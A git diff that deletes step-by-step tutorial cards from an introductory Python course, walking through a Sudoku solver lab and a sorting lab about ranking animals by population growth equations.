+++ /dev/null
@@ -1,33 +0,0 @@
-
-
-
-
-
-
-# complete()
-
-Within our while-loop as we're checking if there is available moves to be made in our `grid`, we can determine if the state of `moved` by assigning the result of `nextMove()` to it as such:
-
-```python
- while hasMoves(grid) and moved:
- moved = nextMove(grid,True,depth,True)
-```
-
-`nextMove()` will return True if a move has been found (`moved` then equals True), or False if a move has not been found (`moved` then equals False). After our while-loop has finished iterating (once either `hasMoves(grid)` or `moved` evaluates to False), then we will return the state of `hasMoves(grid)` as such:
-
-```python
- return not hasMoves(grid)
-```
-
-If `hasMoves(grid) == True`, then `complete()` will return False because the `grid` has not been completed. Else if `hasMoves(grid) == False`, then `complete()` will return True since this indicates that the `grid` is complete.
-
-The final function definition for `complete()` will look like this:
-
-```python
-def complete(grid,depth=0):
- moved = True
- while hasMoves(grid) and moved:
- moved = nextMove(grid,True,depth,True)
- return not hasMoves(grid)
-```
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/7.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/7.md
deleted file mode 100644
index 8de11e4a..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/7.md
+++ /dev/null
@@ -1,33 +0,0 @@
-
-
-
-
-
-
-# testPossible()
-
-Used in conjunction with our guessing clause from the function `nextMove()`, we will now implement the missing piece which is writing the `testPossible()` function. As you have seen previously, this function will:
-
-- Check if it can find a solution given a grid, and then a row-column pair with a value to try.
-- If it finds a solution and finish is true, then it sets the grid to the solution so as to speed it up.
-
-For our function, we will be accepting a total of 6 arguments:
-
-- grid: `grid`
-- row: `r`
-- column: `c`
-- current number: `n`
-- depth: `depth`
-- boolean to indicate if finished: `finish`
-
-The function header for `testPossible()` is defined as such:
-
-```python
-def testPossible(grid,r,c,n,depth,finish):
-```
-
-Hints:
-
-- You will have to figure out a way to preserve the state of the grid, even when we are storing the value `n` at the row, column pair (`r`, `c`). This is needed to ensure the board maintains itself, even if the user guesses wrong. (Hint: duplication of the board)
-- Additionally, you will have to check if the user's guess is correct. You should be using a function you *completed* (big hint) earlier as part of achieving this. Also consider how you will update the grid if a solution has been found.
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/71.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/71.md
deleted file mode 100644
index 57bc1327..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/71.md
+++ /dev/null
@@ -1,35 +0,0 @@
-
-
-
-
-
-
-# testPossible()
-
-We first need to duplicate our `grid` to preserve the original `grid` since we are modifying the duplicate by storing the value `n` at the square (`r`,`c`):
-
-```python
-def testPossible(grid,r,c,n,depth,finish):
- duplicate = copy.deepcopy(grid)
- duplicate[r][c] = n
-```
-
-Once we input the user's guess into `duplicate`, we need to check if `duplicate` will succeed. This is done through our function `complete()`, which takes as arguments the grid (`duplicate` in this case) and the integer `depth`. We will do this in an if-statement as seen below:
-
-```python
- if complete(duplicate,depth):
-```
-
-As of now, our function will look like this altogether:
-
-```python
-def testPossible(grid,r,c,n,depth,finish):
- duplicate = copy.deepcopy(grid)
- duplicate[r][c] = n
- if complete(duplicate,depth):
-```
-
-If the condition above succeeds, then all we need to do left is check if `finish` is true. If so, then we will copy `duplicate` back to grid since we now have a solution!
-
-
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/711.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/711.md
deleted file mode 100644
index 543b7c69..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/711.md
+++ /dev/null
@@ -1,47 +0,0 @@
-
-
-
-
-
-
-# testPossible()
-
-At this point, we are attempting to test solutions to solve our Suduku puzzle. It is in in our best interests to create a duplicate board in order to not infringe on our current board. If the solution is true, then we know we should copy our duplicate board to the original board. Otherwise if we just tested solutions on our original board, then the code becomes much more complicated.
-
-On the condition that `complete()` returns True in our if-statement, we will check if `finish` evaluates to True also:
-
-```python
- if complete(duplicate,depth):
- if finish:
-```
-
-
-Then we know that `dup` was successful in regards to completion, so we now want `dup` to be our `grid` since `dup` is now the solution. If the possible solution we are testing works, then finish will be true. We simply need to check if finish is true, which means the solution we are testing is true and we can copy over our duplicate board. Thus we will use a nested for-loop to overwrite all the values in `grid` with `dup`:
-
-
-```python
- for r in range(0,9): //Iterate through each row and column
- for c in range(0,9):
-
- grid[r][c] = dup[r][c] //Copy our duplicate grid to our actual grid
-
-```
-
-In the end of that we just return True if we succeeded and otherwise False. Therefore, our final `testPossible()` function will appear as below:
-
-```python
-# Checks if it can find a solution given a grid, and then a row-column pair with a value to try.
-# If it finds a solution and finish is true, then it sets the grid to the solution so as to speed it up.
-def testPossible(grid,r,c,n,depth,finish):
- dup = copy.deepcopy(grid) //Copies our actual grid and makes a duplicate
- dup[r][c] = n
- if complete(dup,depth):
- if finish: //If successful, we want to copy the duplicate board to our actual board
- for r in range(0,9):
- for c in range(0,9):
- grid[r][c] = duplicate[r][c]
- return True
- else: //If false, then we don't want to copy it over.
- return False
-```
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/8.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/8.md
deleted file mode 100644
index 96fd9934..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/8.md
+++ /dev/null
@@ -1,57 +0,0 @@
-
-
-
-
-
-
-# main() Part 1
-
-At last, we finally have all of the functions and code necessary to solve any Sudoku puzzle! However, we still need to be able to take the input from the user so we know what puzzle they want to solve and what actions they want to take.
-
-Before we begin, lets sit down and think of what errors we might possibly want to check for when checking the input from the user?
-Of course, we are asking the user for what board they would like so human error is bound to occur.
-
-We will first start off by implementing the portion in which we will ask the user what Sudoku puzzle they want to complete. They will be asked to enter in a total of 81 characters, numbers ONLY, for their initial Sudoku board (`grid`). There are two error cases that we need to handle for the Sudoku board that the user specifies:
-
-- If there was not a total of 81 characters, the user will be prompted:
- - `"Not 81 characters."`
-- If the Sudoku board is invalid (What makes a Suduku Board Invalid?), the user will be prompted:
- - `"Invalid grid."`
- > Hint: How do unique values have to correlate with our suduku board?
-
-To provide directions to the user when we are awaiting their input for 81 characters, the prompt will address them to:
-
-- `"Type in the grid, going left to right row by row, 0 = empty: "`
-
-
-
-Just for an example of a valid user input for a `grid`, this is what it would appear as:
-
-`940020700001004009006000120000003010100000008070500000087000200600900300009080057`
-```
-940020700 // First line
-001004009 // 2nd Line
-006000120 // Third Line
-000003010 // Fourth Line
-100000008 // Fifth Line
-070500000 // Sixth Line
-087000200 // Seventh Line
-600900300 // Eighth Line
-009080057 // Ninth Line
-
-
-The input above would correspond to a `grid` that looks like this when printed:
-
-```python
- 9 4 _ | _ 2 _ | 7 _ _
- _ _ 1 | _ _ 4 | _ _ 9
- _ _ 6 | _ _ _ | 1 2 _
- ------|-------|-------
- _ _ _ | _ _ 3 | _ 1 _
- 1 _ _ | _ _ _ | _ _ 8
- _ 7 _ | 5 _ _ | _ _ _
- ------|-------|-------
- _ 8 7 | _ _ _ | 2 _ _
- 6 _ _ | 9 _ _ | 3 _ _
- _ _ 9 | _ 8 _ | _ 5 7
-```
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/81.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/81.md
deleted file mode 100644
index e220a9e7..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/81.md
+++ /dev/null
@@ -1,48 +0,0 @@
-
-
-
-
-
-
-# main() Part 1
-
-First we will check if the length of `grid` is indeed 0 to confirm that we are ready to await for a user inputted Sudoku board. We will also create a temporary grid `tempGrid` defined as an empty list which we will use to store the user's input. Eventually after we confirm that `tempGrid` is a valid Sudoku board, we will then assign `grid` as `tempGrid`. We will also initialize an empty string `data` which will be the string that holds the 81 characters inputted by the user:
-
-```python
-if len(grid) == 0:
- tempGrid = []
-
- data = ""
-```
-
-
-
-Since we want to check on whether or not the user inputted 81 characters, that will be the condition we use for our while-loop during the process of accepting the user input:
-
-```python
-if len(grid) == 0:
- tempGrid = []
-
- data = ""
- while len(data) != 81:
-```
-
-
-
-Then we will output the prompt to the user `"Type in the grid, going left to right row by row, 0 = empty: "` as we request for input:
-
-```python
-if len(grid) == 0:
- tempGrid = []
-
- data = ""
- while len(data) != 81:
- tempGrid = []
- data = input("Type in the grid, going left to right row by row, 0 = empty: ")
-```
-
-
-
-`data` now contains the string that the user inputted, so we just need to implement the necessary checks to determine for a valid `grid` with a series of if and else statements. We will want to check if the values are unique for each column and row and there is no repeats. We will also want to check if the input size is correct. If the input is correct, we will want to display an error message that tells the user why their input is invalid.
-
-> Hint: check the size of `data` first and if it is indeed 81 characters then, then store it into `tempGrid` and confirm if `tempGrid` is valid.
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/811.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/811.md
deleted file mode 100644
index 99710ede..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/811.md
+++ /dev/null
@@ -1,83 +0,0 @@
-
-
-
-
-
-
-# main() Part 1
-
-Our first check will simply be if the length of `data` is 81 or not, similarly to our while loop condition. If `data` is not of length 81, we will print `"Not 81 characters"`, otherwise we will move onto our next check:
-
-```python
-if len(grid) == 0:
- tempGrid = []
-
- data = ""
- while len(data) != 81:
- tempGrid = []
- data = input("Type in the grid, going left to right row by row, 0 = empty: ")
- if len(data) != 81:
- print("Not 81 characters.")
- else:
-```
-
-
-
-Now that we know we have a total of 81 characters, we need to verify is this is even a valid Sudoku board. To do so we need to create the structure of our board which will be stored into `tempGrid`. Remember that programmatically, our Sudoku board is a list of of 9 lists where each list contains 9 elements (numbers). Thus, we will define an empty list called `r` and fill up each list with 9 elements at a time and append it to `tempGrid` such that `r` will be appended to `tempGrid` 9 times to get our entire Sudoku board:
-
-```python
- else:
- for row in range(0,9):
- r = []
- for col in range(0,9):
- r.append(int(data[row*9+col]))
- tempGrid.append(r)
-```
-
-> Note: remember that the user input (stored in `data`) is a string, so we must type cast it to an int
-
-
-
-Now that `data` is formatted into a 9x9 grid that was stored into `tempGrid` we can now verify if the user's inputted grid is valid by using our `isValid()` function. If `isValid()` returns True, we simply can do the assignment `grid = tempGrid`. Else, if `isValid()` returns False, we will print `"Invalid grid."` and reset `data` but assigning it as an empty string:
-
-```python
- if not isValid(tempGrid):
- data = ""
- print("Invalid grid.")
- printGrid(tempGrid)
-
-
- grid = tempGrid
-```
-
-
-
-Thus, we have finished the first part of our UI for accepting the first user input from the user as seen below:
-
-```python
-# The UI, with options for entering grids, finding next moves, printing the current grid, finishing the grid, and printing out
-# possible values for a row and column index
-if len(grid) == 0:
- tempGrid = []
-
- data = ""
- while len(data) != 81:
- tempGrid = []
- data = input("Type in the grid, going left to right row by row, 0 = empty: ")
- if len(data) != 81:
- print("Not 81 characters.")
- else:
- for row in range(0,9):
- r = []
- for col in range(0,9):
- r.append(int(data[row*9+col]))
- tempGrid.append(r)
- if not isValid(tempGrid):
- data = ""
- print("Invalid grid.")
- printGrid(tempGrid)
-
-
- grid = tempGrid
-```
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/9.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/9.md
deleted file mode 100644
index c755466a..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/9.md
+++ /dev/null
@@ -1,31 +0,0 @@
-
-
-
-
-
-
-# main() Part 2
-
-
-
-After the user has successfully inputted a valid `grid`, we need to provide controls to the user with the possible options that they can use as their Sudoku board is going through the solving process. The UI for the controls will be prompted to the user as shown below:
-
-```python
-Controls:
- 'Enter': Display the next move
- 'p': Print the current grid (small)
- 'c': Complete the grid (or attempt to)
- '(r,c)': Prints the possible options for that row, column
-```
-
-Controls:
-
-- If the user pressed `Enter`: it will print the next move that occurred (solving one square in the Sudoku board).
-- If the user pressed `p`: it will print the entire grid in the state that it currently is in.
-- If the user pressed `c`: it will complete the entire grid and print the final, finished Sudoku board if possible.
-- If the user enters in a row, column pair `(r, c)`: it will print the possible options of values for that row, column pair (square).
-
-Depending on whatever the user inputted, we must take that input and call the appropriate function to handle their request. So you must check the what the user inputted in order to drive what operation you will be performing.
-
-Additionally, we will be using a timer in the case that the user enters `c` because we will be providing the user what time it takes to solve their Sudoku board. The timer is a simple implementation that will be handled using the **`time()`** function.
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/91.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/91.md
deleted file mode 100644
index 32fabae1..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/91.md
+++ /dev/null
@@ -1,88 +0,0 @@
-
-
-
-
-
-
-# main() Part 2
-
-First we will initialize our timers to 0. This will be our starting time which is represented by `time1`:
-
-```python
-time1 = 0
-```
-
-Then, we can proceed to ask the user to enter one of the options and accept their input as `c`:
-
-```python
-time1 = 0
-
-c = input("Controls:\n\t'Enter': Display the next move\n\t'p': Print the current grid (small)\n\t'c': Complete the grid (or attempt to)\n\t'(r,c)': Prints the possible options for that row, column\n")
-```
-
-That string is a mouthful! The `\n` and `\t` are to make the string readable on *output*. Here's how it will actually look on the screen:
-
-```
-Controls:
- 'Enter': Display the next move
- 'p': Print the current grid (small)
- 'c': Complete the grid (or attempt to)
- '(r,c)': Prints the possible options for that row, column
-```
-
-Now since the user has the option to progressively solve the Sudoku solver one move at a time or just let it complete itself, we have to condition on a while-loop that checks `hasMoves()` and determines if the user entered a valid option:
-
-```python
-time1 = 0
-
-c = input("Controls:\n\t'Enter': Display the next move\n\t'p': Print the current grid (small)\n\t'c': Complete the grid (or attempt to)\n\t'(r,c)': Prints the possible options for that row, column\n")
-while hasMoves(grid) and (len(c) == 0 or c == "p" or c == "c" or c[0] == "("):
-```
-
-Then we will have a series of if/elif/else statements that are determining what options what chosen by the user and to handle their request with the appropriate operation:
-
-```python
-time1 = 0
-
-c = input("Controls:\n\t'Enter': Display the next move\n\t'p': Print the current grid (small)\n\t'c': Complete the grid (or attempt to)\n\t'(r,c)': Prints the possible options for that row, column\n")
-while hasMoves(grid) and (len(c) == 0 or c == "p" or c == "c" or c[0] == "("):
- if c == "p":
- # print the current grid
- elif c == "c":
- # attempt to complete the grid
- elif len(c) > 0 and c[0] == "(":
- # print the possible options for that (row, column)
- else:
- # display the next move
-
-```
-
-For the while loop condition where `len(c) == 0` is checked for, this is because if the user presses the `enter` key in order to display the next move. The `enter` key is actually not stored as a character and instead is of length 0 which implies that `enter` was pressed.
-
-For the second `elif`, we check if `len(c) > 0 and c[0] == "("` in order to determine if the user inputted a row, column pair. That's the only option where `c` would have a greater length than one character AND the first element in `c` must be equal to `(`.
-
-The other cases for `p` and `c` are simple cases of string compares to determine what the user requested respectively.
-
-
-
-Remember that since the user can potentially work through the Sudoku puzzle one move at a time (via pressing `enter`), then we must continue looping to accept their next user input request for whatever operation they want to perform. Thus we must check if the `grid` is finished, if not we will provide the user with the controls again and await for their next input. Else, the `grid` is completed.
-
-```python
-time1 = 0
-
-c = input("Controls:\n\t'Enter': Display the next move\n\t'p': Print the current grid (small)\n\t'c': Complete the grid (or attempt to)\n\t'(r,c)': Prints the possible options for that row, column\n")
-while hasMoves(grid) and (len(c) == 0 or c == "p" or c == "c" or c[0] == "("):
- if c == "p":
- # Implement logic to print the current grid
- elif c == "c":
- # Implement logic to attempt to complete the grid
- elif len(c) > 0 and c[0] == "(":
- # Implement logic to print the possible options for that (row, column)
- else:
- # Implement logic to display the next move
- if hasMoves(grid):
- c = input("Controls:\n\t'Enter': Display the next move\n\t'p': Print the current grid (small)\n\t'c': Complete the grid (or attempt to)\n\t'(r,c)': Prints the possible options for that row, column\n")
- else:
- # Implement logic for when grid is complete!
-```
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/911.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/911.md
deleted file mode 100644
index e8627693..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/911.md
+++ /dev/null
@@ -1,67 +0,0 @@
-
-
-
-
-
-
-# main() Part 2
-
-For the case that the user enters `p` to print the grid, we simply just call the function we have already created to print the grid (`printGrid()`)!
-
-```python
- if c == "p":
- printGrid(grid)
-```
-
-For the case that the user enters `c` to complete the grid, we will start the timer on `time1` and call the function we have created to complete the grid (`complete()`). However, the call to complete the grid must be conditioned in the case that the grid cannot be finished. Thus we will prompt the user with this print statement: `"Failed to complete. Please improve algorithm. :)"`
-
-```python
- elif c == "c":
- time1 = time.time()
- if not complete(grid):
- print("Failed to complete. Please improve algorithm. :)")
- #break
-```
-
-For the case that the user enters a row, column pair (`(r, c)`) we need print the possible options for that square. To do this, we will simply print the result from `findPossible()` on the row, column pair the user specified.
-
-```python
- elif len(c) > 0 and c[0] == "(":
- print(findPossible(int(c[1])-1,int(c[3])-1,grid))
-```
-
-We do an `int` type cast to ensure that the `findPossible` function can use the actual integer value of the input. We subtract 1 from `int(c[1])` and `int(c[3])` respectively because `findPossible`'s parameters are *indices* (indexing starts at 0!) and the user entered row and column numbers, whose counting starts from 1.
-
-For the last case where the user enters `enter`, we will just call `nextMove()` to get the next move for the user!
-
-```python
- else:
- nextMove(grid)
-```
-
-Now we have implemented the majority of our input handling for procedurally operating through the Sudoku solver. As of now, this is what part 2 of our input handling looks like:
-
-```python
-time1 = 0
-
-c = input("Controls:\n\t'Enter': Display the next move\n\t'p': Print the current grid (small)\n\t'c': Complete the grid (or attempt to)\n\t'(r,c)': Prints the possible options for that row, column\n")
-while hasMoves(grid) and (len(c) == 0 or c == "p" or c == "c" or c[0] == "("):
- if c == "p":
- printGrid(grid)
- elif c == "c":
- time1 = time.time()
- if not complete(grid):
- print("Failed to complete. Please improve algorithm. :)")
- #break
- elif len(c) > 0 and c[0] == "(":
- print(findPossible(int(c[1])-1,int(c[3])-1,grid))
- else:
- nextMove(grid)
- if hasMoves(grid):
- c = input("Controls:\n\t'Enter': Display the next move\n\t'p': Print the current grid (small)\n\t'c': Complete the grid (or attempt to)\n\t'(r,c)': Prints the possible options for that row, column\n")
- else:
- # Implement logic for when grid is complete!
-```
-
-Now all we have left to implement is the else statement for when the grid is complete (when `hasMoves(grid)` evaluates to false).
-
diff --git a/Module4_Labs/Lab6_Sudoku_Solver/Cards/912.md b/Module4_Labs/Lab6_Sudoku_Solver/Cards/912.md
deleted file mode 100644
index eb48451d..00000000
--- a/Module4_Labs/Lab6_Sudoku_Solver/Cards/912.md
+++ /dev/null
@@ -1,55 +0,0 @@
-
-
-
-
-
-
-# main() Part 2
-
-In the else statement when we've determined that the `grid` is complete, we will need to stop our timer and compute the elapsed time. Also we will print our now complete `grid`:
-
-```python
- else:
- time2 = time.time()
- printGrid(grid)
- if time1 != 0:
- print("Solved in %0.2fs!" % (time2-time1))
- else:
- print("Solved!")
-```
-
-We assign `time2` to `time.time()` as this will give us the current time when we have reached inside this else statement. Then once we check that `time1 != 0` to confirm that there was a time recorded for `time1`, we then can compute the time it took to complete the Sudoku board with the computation `time2 - time1` which gives us the total time that it took to complete. We also will call `printGrid(grid)` in order to print our final grid.
-
-
-
-Now we have finally finished our Sudoku Solver! This will how our logic will appear for user input options during the process of solving their valid Sudoku board:
-
-```python
-time1 = 0
-
-c = input("Controls:\n\t'Enter': Display the next move\n\t'p': Print the current grid (small)\n\t'c': Complete the grid (or attempt to)\n\t'(r,c)': Prints the possible options for that row, column\n")
-while hasMoves(grid) and (len(c) == 0 or c == "p" or c == "c" or c[0] == "("):
- if c == "p":
- printGrid(grid)
- elif c == "c":
- time1 = time.time()
- if not complete(grid):
- print("Failed to complete. Please improve algorithm. :)")
- #break
- elif len(c) > 0 and c[0] == "(":
- print(findPossible(int(c[1])-1,int(c[3])-1,grid))
- else:
- nextMove(grid)
-
- if hasMoves(grid):
- c = input("Controls:\n\t'Enter': Display the next move\n\t'p': Print the current grid (small)\n\t'c': Complete the grid (or attempt to)\n\t'(r,c)': Prints the possible options for that row, column\n")
- else:
- time2 = time.time()
- printGrid(grid)
- if time1 != 0:
- print("Solved in %0.2fs!" % (time2-time1))
- else:
- print("Solved!")
-```
-
-That's it! We are done! Congratulations on completing the Sudoku Solver Lab!
\ No newline at end of file
diff --git a/Module4_Labs/Lab7_Zoologist/Cards/1.md b/Module4_Labs/Lab7_Zoologist/Cards/1.md
deleted file mode 100644
index 9cc407c3..00000000
--- a/Module4_Labs/Lab7_Zoologist/Cards/1.md
+++ /dev/null
@@ -1,35 +0,0 @@
-
-
-
-
-
-
-You are a zoologist who returned to your lab only to find that your documents have been messed with and scrambled! You had tediously studied, determined and **sorted** different species of animals by their population growth rate from lowest to highest.
-
-
-
-The next course of action to undo this mess will be to pair each population growth equation with the species it's associated with. Then sort these pairs. However, your supervisor is meticulous in what method they want you to use. Therefore, they have asked you to show each step of sorting.
-
-You only need to sort the list of species in **descending** order of their population growth using three different sorting techniques (as per lab policy D).
-
-Data you were able to procure from the mess:
-
-* Numbers representing specific growth rate for each species
-
-Your job:
-
-1. Pair each growth rate with each animal
-
-2. Rank the growth rates in descending order
-
-3. Sort the ranks using **Bubble sort**, **Insertion Sort**, and **Selection Sort**
-
-After step 3, you will have sorted rankings, so you know the correct order of the growth rates, and you will have the pairings of each animal to their growth rate. Knowing these two facts, you will have reobtained your sorted population growth list.
-
-
-
-Let's do step 1.
-
-First, create a **function** named `readFileintoDict()` that will ask for user input about a file's names, `Animals.txt`, then open that file and read its contents into a **dictionary** with keys as an index of the animal and the values as the animal name. Each index is associated with a growth rate in the file. This function should also **return** the said dictionary.
-
-Go ahead and code `readFileintoDict()`.
\ No newline at end of file
diff --git a/Module4_Labs/Lab7_Zoologist/Cards/11.md b/Module4_Labs/Lab7_Zoologist/Cards/11.md
deleted file mode 100644
index 275f9a70..00000000
--- a/Module4_Labs/Lab7_Zoologist/Cards/11.md
+++ /dev/null
@@ -1,33 +0,0 @@
-
-
-
-
-
-
-`Animals.txt` is a **file** that contains an `int` followed by a `string`. To read this content in a `dictionary`, you should use `open()` and `for` loops to **split** each line of the content of the text file into a **dictionary**. The integer should be the **key** and the animal should be the **value**.
-
-Animals.txt file:
-
-```python
-1 Horse
-2 Buffalo
-3 Cat
-4 Rabbit
-5 Goat
-6 Dog
-7 Sheep
-8 Pig
-9 Cow
-10 Human
-11 Rat
-12 Mice
-13 Bat
-14 Squirrel
-15 Turtle
-```
-
-Example of **dictionary**:
-
-```python
-5: Himalayan wolf
-```
diff --git a/Module4_Labs/Lab7_Zoologist/Cards/111.md b/Module4_Labs/Lab7_Zoologist/Cards/111.md
deleted file mode 100644
index 36018096..00000000
--- a/Module4_Labs/Lab7_Zoologist/Cards/111.md
+++ /dev/null
@@ -1,72 +0,0 @@
-
-
-
-
-
-
-First we initiate the function `readFileintoDict()`
-
-```python
-def readFileintoDict():
-```
-
-Since it's given that the file name is `"Animals.txt"`, we make a string to easier call this file name later.
-
-```python
- filename= "Animals.txt"
-```
-
-To parse through the file, we use the `open` funciton with a loop. Note that now the txt document is now refered to as **file** in the loop. The `'r'` means we will only be reading the file.
-
-```python
- with open(filename, 'r') as file:
-```
-
-Then we initialize our dicitonary by first having it blank.
-
-```python
- result = {}
-```
-
-We want a counter to iterate through the file so we create a counter that starts at 0.
-
-```python
- index = 0
-```
-
-Now we want to parse through each line of the file, this statement below will split the line into different components based on the split factor, "\n" (new line).
-
-```python
- for line in file.read().split("\n"):
-```
-
-We want to ignore the whitespaces in the file that was used to format it. Therefore we will be splitting according to , "\t" (tab).
-
-```python
- noTabs = line.split("\t")
-```
-
-Now we want to extract the name of the animal from the rest of the line.
-
-```python
- lastElement = noTabs[len(noTabs) - 1]
-```
-
-Assign the index as the key and the name of the animal as the value.
-
-```python
- result[index] = lastElement
-```
-
-Increase our counter by one as we iterate through the document, putting each animal in the dictionary.
-
-```python
- index += 1
-```
-
-Once the whole file is iterated through, return `result` which is the dictionary we have created.
-
-```python
- return result
-```
-
diff --git a/Module4_Labs/Lab7_Zoologist/Cards/2.md b/Module4_Labs/Lab7_Zoologist/Cards/2.md
deleted file mode 100644
index caa523cf..00000000
--- a/Module4_Labs/Lab7_Zoologist/Cards/2.md
+++ /dev/null
@@ -1,63 +0,0 @@
-
-
-
-
-
-
-
-
-Before the mess, your masterlist of animals ranked their population from highest to lowest, but doesn't contain any information about their population growth equation. In order to link the animal with the equation, you want to write an **array** in the order of your scrambled equations first.
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-Go ahead and write these equations into a python **array** called `equations[]` in this particular order (this is the scrambled order). Initialize this array in your `main` function.
-
-At this point, you would want to prompt the user to input a type of sorting with the following request in `main()`.
-
-```python
-Please chose a sorting method:
-1.(Bubble) Sort
-2.(Insertion) Sort
-3.(Selection) Sort
-```
-You should validate all possible user inputs. The user is only allowed to enter the name of sorting method or the integer associated with each method. If their input is invalid, you should print the message for another input, "Not a valid input, try again."
-
-Valid inputs would be:
-* `1` (this will select the bubble sort)
-* `insertion` (selects insertion sort)
-
-Examples of invalid input would be other sorting algorithms not mentioned in those 3 above or some random input:
-* `Merge sort`
-* `I Love Coding`.
-* `10`
diff --git a/Module4_Labs/Lab7_Zoologist/Cards/21.md b/Module4_Labs/Lab7_Zoologist/Cards/21.md
deleted file mode 100644
index 61ab8de2..00000000
--- a/Module4_Labs/Lab7_Zoologist/Cards/21.md
+++ /dev/null
@@ -1,39 +0,0 @@
-
-
-
-
-
-
-Take a look at the format given in the starter code:
-
-```python
-equations = [
- n**2, # 0
- 20n**2+5n+7, # 1
- # 2 insert equation here
- # 3 insert equation here
- # 4 insert equation here
- # 5 insert equation here
- # 6 insert equation here
- # 7 insert equation here
- # 8 insert equation here
- # 9 insert equation here
- # 10 insert equation here
- # 11 insert equation here
- # 12 insert equation here
- # 13 insert equation here
- # 14 insert equation here
- ]
-
-```
-
-**Step 1** `Transcribing equations`
-
-Fill in the rest of the rows by transcribing the equations given into python equations. Dont forget to import the necessary **functions** from the **math** module.
-
-** Step 2 ** `Prompt for user input`
-
-As for the **prompting** of the user to pick a type of **sorting**, don't forget to use a `while` loop and check if any of the `input` matches exactly what counts as a valid answer.
-
-
-
diff --git a/Module4_Labs/Lab7_Zoologist/Cards/211.md b/Module4_Labs/Lab7_Zoologist/Cards/211.md
deleted file mode 100644
index 45278ea7..00000000
--- a/Module4_Labs/Lab7_Zoologist/Cards/211.md
+++ /dev/null
@@ -1,54 +0,0 @@
-
-
-
-
-
-
-Writing the equations should be quite straightforward, the only tricky part may come from not importing the math module and its nessesary equations.
-
-```python
-from math import log
-from math import sqrt
-```
-
- Once you have that you can start to write your `main` function. Have a `int` start at 1 as a terporary variable to write your equaitons.
-
-```python
-def main():
- n = 1
-```
-Write your euations out as following, try to do it yourself to get used to writing equations in python.
-
-```python
- equations = [
- n**2,
- 20*n**2+5*n+7,
- n+log(n)+7,
- 3**n,
- log(n)/(n**2),
- (n+1)/(sqrt(1+n**2)),
- (n**n)/(sqrt(log(n**4))+10),
- n*log(n**2),
- 6**n,
- sqrt(log(n)),
- n**n,
- n**3*log(n)+100,
- sqrt(n**3),
- n**3,
- (n+1)/(sqrt(1+n**2))
- ]
-```
-
-Now we want to call our functions that we coded previously such as the `readFileintoDict()` and `assignRankings()`.
-
-```python
- animals = readFileintoDict() # animals = {index : animalName}
-ranks = assignRankings(equations.copy()) # ranks = {index : rank}
-```
-Now we use a `for` loop to print each of the animals that have been sorted according to the order of equations.
-
-```python
-for i in range(len(ranks)):
- print(animals[ranks[i]])
-```
-
diff --git a/Module4_Labs/Lab7_Zoologist/Cards/212.md b/Module4_Labs/Lab7_Zoologist/Cards/212.md
deleted file mode 100644
index c3a58940..00000000
--- a/Module4_Labs/Lab7_Zoologist/Cards/212.md
+++ /dev/null
@@ -1,56 +0,0 @@
-
-
-
-
-
-
-To code our input parsing part, we will have a boolean variable called `invalidInput` and initialize its value as `True`.
-
-```python
-invalidInput = True
-```
-Think about why we want to set this boolean value to `True` in the beginning and what it means before continuing forward.
-
-Initially we would have the `invalidInput` variable to signify whether or not the user has given an invalid input. Because in the beginning our user has not given any input (because we have not prompt them for any input) , we would consider the input to be invalid and set the value to be `True`.
-
-The rest of this part will be enveloped in a while loop that will stop once a valid input has been entered.
-
-
-
-```python
-while (invalidInput):
-```
-
-Here we print out the prompt for the user and set up the **input** to be taken in.
-
-```python
- print("Please chose a sorting method:")
- print("1.(Bubble) Sort")
- print("2.(Insertion) Sort")
- print("3.(Selection) Sort")
- x=input("")
-```
-
-Following that are our **if-else** statements that are written according to the prompt. `If` any of these if statements are satisfied then we will set the boolean variable `invalidInput` to False, this means that our input is valid and therefore we will terminate from the while loop.
-
-If any of the prompt is not satisfied then the `invalidInput` variable remains True and we will repeat the loop for user prompt again.
-
-**note: ** remember what we are checking against in the user prompt. We want to receive the correct sorting algorithm of choice from the user. So our conditions should check if the user has inputted a valid sorting algorithm such as `"bubble"` or `"selection"` , or their resepective numbering `1` for bubble sort, `2` for insertion sort, etc. Anything else other than this should be considered an invalid input, thus why we have the `else` section for the condition.
-
-```python
- while(invalidInput):
-
- #write the user prompt here as mentioned before
-
- if(x=="1"or x=="bubble"):
- #perform bubble sort here
- invalidInput=False
- elif(x=="2"or x=="insertion"):
- #perform insertion sort here
- invalidInput=False
- elif(x=="3"or x=="selection"):
- #perform selection sort here
- invalidInput=False
- else:
- print("Not a valid input, try again.")
-```
\ No newline at end of file
diff --git a/Module4_Labs/Lab7_Zoologist/Cards/3.md b/Module4_Labs/Lab7_Zoologist/Cards/3.md
deleted file mode 100644
index 051b8339..00000000
--- a/Module4_Labs/Lab7_Zoologist/Cards/3.md
+++ /dev/null
@@ -1,24 +0,0 @@
-
-
-
-
-
-
